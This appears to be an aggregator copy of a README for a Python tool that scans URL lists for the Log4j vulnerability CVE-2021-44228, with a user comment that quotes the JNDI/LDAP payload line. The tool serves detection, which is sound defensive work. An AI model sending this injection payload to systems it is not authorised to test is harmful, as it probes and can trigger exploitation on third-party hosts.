Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

Víctor García

Last update: Jan 3, 2023

Related tags

Security related resources log4j-detect

Overview

log4j-detect

Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

The script "log4j-detect.py" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228.

To do so, it sends a GET request using threads (higher performance) to each of the URLs in the specified list. The GET request contains a payload that on success returns a DNS request to Burp Collaborator / interactsh. This payload is sent in a test parameter and in the "User-Agent" / "Referer" headers. Finally, if a host is vulnerable, an identification number will appear in the subdomain of the Burp Collaborator / interactsh payload and in the output of the script, allowing to know which host has responded via DNS.

It should be noted that this script only handles DNS detection of the vulnerability and does not test remote command execution.

Downloading log4j-detect.py

wget https://github.com/takito1812/log4j-detect/raw/main/log4j-detect.py

Running log4j-detect.py

python3 log4j-detect.py <urlFile> <collaboratorPayload>

Comments

why using str(urlId) ?
I dont why ur using str(urlId) because this will set the payload to something like ${jndi:idap://1.<dnslog.cn>/a} This will not work if you add 1 . If i am wrong please correct me

payload = '${jndi:ldap://' + str(urlId) + '.' + argv[2] + '/a}'

Thank you
opened by Deathpoolxrs 3
License statement

Currently there is no license statement. Could you please add a LICENSE file that contains the license text.

It's often a requirement by distributions.

Thanks.

opened by fabaff 0

Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

Related tags

Overview

log4j-detect

Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

Downloading log4j-detect.py

Running log4j-detect.py

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Comments

why using str(urlId) ?

License statement

Owner

Víctor García

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